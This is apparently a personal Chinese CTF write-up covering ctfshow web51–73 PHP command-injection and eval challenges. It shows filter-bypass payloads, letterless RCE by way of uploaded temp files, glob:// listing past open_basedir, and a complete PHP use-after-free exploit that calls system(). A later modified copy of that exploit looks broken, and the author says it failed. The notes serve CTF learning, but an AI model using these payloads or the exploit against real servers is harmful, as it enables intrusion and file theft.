WEB51

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
  5. system($c." >/dev/null 2>&1");
  6. }
  7. }else{
  8. highlight_file(__FILE__);
  9. }
  10. ?>

c=nlc=nlc=nlc=nl<fla’’g.php%26%26(为啥这个也不行?)

WEB52

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

比上一题过滤了<和>,就是要想想空格怎么绕过,$没过滤
出题人解法:

可以用复制或者是重命名的方式
  c=cp$IFSfla?.php$IFSa.php||ls(我们怀疑它是不是没有写的权限)
换一种命令:
  c=mv$IFSfla?.php$IFSa.txt||ls(重命名还是没有成功)
再换一种命令,我们用${IFS}这种写法试一下:
  c=mv${IFS}fla?.php${IFS}a.txt||ls(成功)
  访问a.txt发现$flag="flag_here";,很明显重命名之后这个flag是不对的,说明这个flag是假的
我们可以再列一下目录看看其他地方:
    列一下根目录:?c=ls${IFS}/||ls(发现有个flag文件夹)
    这里直接移动过去:c=mv${IFS}/fla?${IFS}/var/www/html/b.txt||ls(发现是不能移动的)
    复制:c=cp${IFS}/fla?${IFS}/var/www/html/b.txt||ls  (ls查看后发现复制成功)
    我们直接访问b.txt,拿到flag

image.png
c={nl,fla’’g.php} %0a(为什么不行?)
c=nl%20fla’’g.php%0a(为什么不行?)
c=nl${IFS}fla’’g.php|| (有回显但是flag提交错误 ||改为%26%26不行因为被过滤了)为什么?
image.png
c=nl$IFS\fla\g.php||
image.png

WEB53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);//自带打印返回值的功能,成功则返回命令输出的最后一行,失败则返回false
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

c=nl$IFS\fla\g.php (√)
c=nl${IFS}fla\g.php (√)
空格换成%20显示no,我也不知原因
其他payload:c’’at${IFS}fla’’g.php(√)为啥这里带花括号又可以了呢?
c’’at${IFS}fla?.php(√)

WEB54

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}
?>

.c.a.t.
加强了正则表达式,通配符就行了
c=/bin/c??${IFS}???????? (/bin下存储的是linux命令c开头且三位的只有cat)
c=/bin/c??$IFS????????
实例:
image.png

出题人解法:

过滤的有点丧心病狂,但是少过滤了一点东西
  我们可以用mv重命名c=ls(先看一下flag文件),c=mv${IFS}fla?.php${IFS}z.txt,在列一下z.txt
  访问就可以拿到flag

WEB55(★过滤字母)base64查看文件

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

出题人解法:

出题人解法:
  过滤了字母但是没过滤空格,考虑经典的无字母RCE
  首先做一个文件上传的表单

表单:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://a2fb3d97-7fb5-4ac0-b033-3762eb867daf.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

image.png
背景:

为什么要上传文件呢?
上传文件之后,它会在PHP的服务器接收到这个上传文件,它不知道你这个脚本后面还有没有处理上传文件的逻辑
现在文件已经上传上来了,它如果要的话万一你后面不要了怎么办,如果不要的话后面脚本又要取这个数据它又拿不到,所以作为PHP的话它没办法,它只能想一个折中的办法:
我把每次脚本执行,凡是有文件上传我都放到一个地方,然后等你脚本执行完了你用你就拿走,不用我就把这个地方清空,或者删除。这样也是PHP的一种做法,就是防止虽然前面一共有2000行代码,前面1800行都没有用这个,那这时候文件以及上传上来了,那你总不能把这个文件扔掉吧,你扔掉了后面200行,突然要用这个文件的话就出bug了,拿不到这个文件了。所以它就放到一个指定的目录,这个目录就是任何程序都可以写的临时目录,它的命名规则是php后面跟五位小写字母最后一位大写字母(如phpaaaaaX)

而且本题没有过滤‘.’的,点在linux下是可以执行脚本的,假设我们能自定义一个脚本文件,名字比如说是‘?.?’这个脚本文件,. ?.?也叫能执行任意文件,只要我们能控制?.?这个文件,通过点号我们就可以执行这个脚本了

但是问题是我们没有能写文件的地方,所以用刚才那个写一个表单文件上传,我不管你这个脚本用不用这个文件数据,我只管往你服务器上面传,只要我在执行脚本之前这个文件都是在的

那么同样的原理,我们如果上传一个文件,它的目录是/tmp/phpaaabbC,如果phpaaabbC这个文件是一个脚本的话,用“.”就可以执行任意命令了,这个名字我们是不可控的,但值是可控的,这时候名字可以用通配符:./???/????????,这个是匹配根目录三个字符的八位文件名的文件

我们先按六位做一下,./???/??????这样的话明显它会匹配多个,也不一定能执行成功,因为它总有一次最后一位是大写,我们就可以多试几次。
如何判断是大写呢?就是大写字母的ASCII是在@之后在左中括号之前:[@-[]
具体原理可以参考P神的博客
./???/??????[@-[]

我们随便上传一个文件,抓包:
image.png
image.png

image.png

其他解法:
你在炫技吗? 没有,我不敢orz
此题过滤了字母,我们可以使用web41的方法异或生成字符,哎呀,不会
这题羽师傅又写脚本啦!!!
继无字母数字的命令执行(ctfshow web入门 55)新姿势
无字母数字的命令执行(ctfshow web入门 55)(之前的方法)
还是查看源代码发现没有过滤数字,我们就想一想在我们查看文件的命令有没有数字开头的。发现存在一个base64

base64的使用

我们就可以通过通配符进行匹配命令执行查看flag.php
payload:?c=/???/????64 ????.???
意思是 /bin/base64 flag.phpimage.png
解码后发现flag:ctfshow{8090d84c-39ee-40d7-8345-ad934c1f8dd2}
这种解法真的是666丫
image.png
ubuntu下base64命令在/usr/bin/base64呀

bzip2的使用
bzip2是linux下面的压缩文件的命令
我们可以通过该命令压缩flag.php 然后进行下载
payload:?c=/???/???/????2 ????.???
也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php, 太巧妙了吧!
image.png
[

](https://blog.csdn.net/qq_46091464/article/details/108555433)

WEB56(★过滤数字+字母,待做)

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

没过滤问号,依然可以用上一题base64查看文件的方法,没过滤空格、点,此题不光过滤了字母还过滤了数字
?c=/???/????64 ????.???(就是/bin/base64 flag.php)

参考:无字母数字的命令执行(ctfshow web入门 55)
出题人解法:
考察无字母数字RCE,首先讲一下PHP上传机制,首先看一下下面代码
1.php

<?php
if($_FILES["file"]["error"]>0){
  echo "错误:".$_FILES["file"]["error"]."<br>";
}
else{
    echo "上传文件名:".$_FILES["file"]["name"]."<br>";
  echo "文件类型:".$_FILES["file"]["type"]."<br>";
  echo "文件大小:".($_FILES["file"]["size"]/1024)."kB<br>";
  echo "文件临时存储位置:".$_FILES["file"]["tmp_name"];
}
sleep(15);

/*
如果有文件上传的话,它会把文件上传的上面这些信息打印出来,延时15秒是为了找到我们要上传的文件
*/
  ?>

又写了一个文件上传的HTML,本地测试一下

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
<form action="http://192.168.3.90/ctfshow/1.php" method="post" enctype="multipart/form-data">
    <p><input type="file" name="file"></p>
    <p><input type="submit" value="提交"></p>
</form>
</body>
</html>

我们先把sleep注释
image.png
文件临时存储位置就是临时存储的,它在脚本执行完毕后就删除了,它的内容就是我们上传的东西,这是我们上传机制。

把sleep注释解开:再上传(15s过后就删除了)
image.png

所以这道题我们可以这么做:
把上传表单的action改成题目地址——》上传一个文件,抓包
image.png

PHP对上传的任何文件,就算没有接收,它也可以填充到指定的超全局变量里面
image.png
多刷几次是因为?可能没匹配到对应的文件
对于这种无字母数字RCE,固定是.%20/???/????????[@-[]
凡是遇到命令执行过滤了字母数字,但是给了点和问号,就可以考虑上面这种经典的做法!

WEB57(★待思考)

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

过滤了数字字母等,只需要构造一个36即可
出题人思路:

我们知道没过滤$可以用变量的
我们可以尝试echo $(()) 这代表数学运算,虽然括号里面没有值结果是0
我们对0取反:echo ~$(()) 取反后是-0
然后我们对-0进行数学计算:echo $((~$(())))  是-1
构造36的话就是36个-1相加,然后再取反即可

首先要相加echo $(()),括号里面是36个$((~$(()))),外面的话再取反,就是+36

echo $(())——》0
echo ~$(())——》~0
echo $((~$(())))——》-1
echo $(($((~$(())))+$((~$(())))))——》-2
echo $(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))——》-4
echo $(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))——》-36
image.png
过滤了,乘法和乘方都用不了
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
image.png
其他思路:
参考:https://www.cnblogs.com/wrnan/p/13765680.html#web55
又学到一个点
echo ${_} #返回上一次的执行结果
echo $(()) #0
echo $((~$(()))) #~0是-1
$(($((~$(())))$((~$(()))))) #$((-1-1))即$$((-2))是-2
*echo $((~-37)) #~-37是36

payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

其他姿势:?c=grep${IFS}’fla’${IFS}fla??php(看不懂)

WEB58

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

post传参
c=show_source(‘flag.php’);
image.png
或者
c=highlight_file(‘flag.php’); 注意分号和引号!
image.png
这里还可以读取任意文件,没禁用file_get_contents:
c=echo file_get_contents(‘flag.php’);

WEB59

命令执行,突破禁用函数

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

和上一题给出的代码一样,关键就是考察如何突破被禁用的函数!
system、shell_exec、passthru、file_get_contents禁用
但是show_source、highlight_file还没禁用:
image.png

出题人解法
使用include文件读取:
image.png

还可以使用glob方法进行扫描:(扫描/var/www/html下目录发现flag.php)

c=?><?php $a=new DirectoryIterator("glob:///var/www/html/*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

图片.png
再用data协议读取

WEB60

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

同样是上一题代码,考察禁用命令绕过
同样可以用上一题的include解:
image.png

也可以post提交:c=show_source(‘flag.php’); show_source竟然也没有禁用
c=highlight_file(‘flag.php’); highlight_file也没有禁用
file_get_contents() 禁用了!

WEB61

还是上一题的源码
方法1、c=highlight_file(‘flag.php’);
方法2、c=show_source(‘flag.php’);
就是知道哪些命令可以读取PHP文件即可!

WEB62

还是上一题的源码
方法1、c=highlight_file(‘flag.php’);
方法2、c=show_source(‘flag.php’);
方法3、c=include(‘flag.php’);echo $flag; //(包含但不输出,echo $flag因为我们知道它的变量名是$flag)

WEB63

还是上一题的源码
方法1、c=highlight_file(‘flag.php’);
方法2、c=show_source(‘flag.php’);
方法3、c=include(‘flag.php’);echo $flag;
方法4、c=var_dump(get_defined_vars());//查看定义了哪些变量
image.png
c=include(‘flag.php’);var_dump(get_defined_vars());先包含进去(如果我们不知道变量名字是$flag的话可以用这种办法知道它的文件名)
image.png

WEB64

还是上一题的源码
方法1、c=highlight_file(‘flag.php’); 【高亮文件显示】
方法2、c=show_source(‘flag.php’);
方法3、c=include(‘flag.php’);echo $flag;【文件包含,还可以用日志包含】
方法4、c=include(‘flag.php’);var_dump(get_defined_vars());【输出,注册变量】
方法5、可以用一个更骚的姿势,可以不用包含,直接重命名c=rename(‘flag.php’,’1.txt’); 发现rename被禁用了
能查看当前目录:c=print_r(scandir(‘.’));

WEB65

上面五种方法都能用
方法6、试试curl
参考:PHP中使用CURL实现GET和POST请求
发现curl也禁用了,离谱!
image.png

WEB66

c=highlight_file(‘flag.php’); ——》$flag=”秀秀得了,这次不在这里”;
我们查看一下当前目录c=print_r(scandir(‘/‘)); 发现是flag.txt不是php
c=highlight_file(‘flag.txt’); 发现show_source禁用了,highlight_file没有禁用
GG了,include也被禁用了
查找根下:c=highlight_file(‘/flag.txt’);
image.png

WEB67

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

还是和上面一样的代码,考察绕过禁用函数进行命令执行
c=var_dump(scandir(‘.’)); //查看当前路径文件,发现flag.php但是flag不在当中
查看其它目录:发现根目录下存在flag.txt
c=highlight_file(‘/flag.txt’); 得到flag

包含再输出所有的注册变量,这种方法也行:c=include(‘/flag.txt’);var_dump(get_defined_vars());
image.png
再测试:c=include(‘flag.php’);echo $flag; 先包含文件,再输出对应变量名的值

WEB68

此题一打开就是一段报错信息:

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

使用上题中先包含,再输出所有的注册变量这种方法依旧可以拿到flag:
c=include(./flag.txt);var_dump(get_defined_vars());
image.png
image.png

卧槽,好像直接文件包含就可以了:(直接包含,因为它里面是没有PHP标签的,作为一个HTML默认进行输出)
image.png

WEB69

此题又是和上一题一样,一打开界面就出现highlight_file被禁用的警告信息
1、直接文件包含 c=include(‘/flag.txt’);
2、先文件包含再输出所有变量:c=include(‘/flag.txt’);var_dump($flag); 因为include已经生效了
3、c=include(‘/flag.txt’);echo(get_defined_vars());

WEB70

一打开界面,发现报错信息:

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?

直接文件包含可行!得到flag,白嫖完flag就走

WEB71

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?

本题除了有上面的警告信息,还给了一个index.php的文件

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();//返回输出缓冲区的内容
        ob_end_clean(); //清空(擦除)缓冲区并关闭输出缓冲
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);//把缓冲区的信息替换,连报错信息都不给你
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

image.png
这题直接连报错信息都不给你了,怎么办?
我们直接考虑在eval($c)这里就中断,后面不让他执行,按照这个思路做:
c=include(‘/flag.txt’);exit();

直接考虑中断啊,我咋没想到。。。orz

WEB72(★glob协议绕过,BYPASS OPEN_BASEDIR)

给了个index.php还是

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

我们再考虑上题的做法,直接在eval后面中断,不让他替换缓冲区内容
c=include(‘/flag.txt’);exit(); 发现找不到flag.txt这个文件了
扫描一下c=var_dump(scan_dir(‘/‘));exit(); 发现var_dump都被禁用掉了。
image.png

既然要绕过的话,我们可以尝试用glob协议来进行绕过
glob:// — 查找匹配的文件路径模式

c=$a="glob:///*.txt";     //首先是定义一个路径///*.txt可以理解为// /*.txt根目录下所有txt文件
  if($b=opendir($a)){
    while(($file=readdir($b))!==false){
        echo "filename:".$file."\n";  //如果不是目录,但是 是存在的我就输出他
    }
    closedir($b);  //关闭
  }
 exit();  //防止替换

image.png
然后直接包含:
image.png
它是在open_basedir之外,我们要读到它:
这时候我们只能用UAF:
下面这个脚本是通用绕过安全目录的脚本:

<?php
c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);

                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);

                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦
?>

我们把上面这个脚本复制到hackbar的post(除了<?php?>),记得c=的后面要url编码
image.png
这个原理是它这个PHP脚本是国外的一个开源项目,它主要应用的是PHP的gcc,也就是垃圾回收,回收我们的漏洞来绕过我们的open_basedir

WEB73(★)

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?

没有给源码
首先用上一题的payload看能否拿到flag:
image.png
我们直接用上一个脚本的代码中strlen(返回指定字符串的长度)替换为,重新写一个方法:

<?php
 //strlen  返回指定字符串长度
  function strlen_user($s){
      return count(str_split($s));
}
echo str_user('abc');

?>

替换结果如下:

<?php
c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
          function strlen_user($s){
            return count(str_split($s));
        }
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen_user($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);

                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);

                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen_user($abc) == 79 || strlen_user($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦
?>

不行,我们继续glob扫描看是不是文件名换了:

c=$a="glob:///*.txt";     //首先是定义一个路径///*.txt可以理解为// /*.txt根目录下所有txt文件
  if($b=opendir($a)){
    while(($file=readdir($b))!==false){
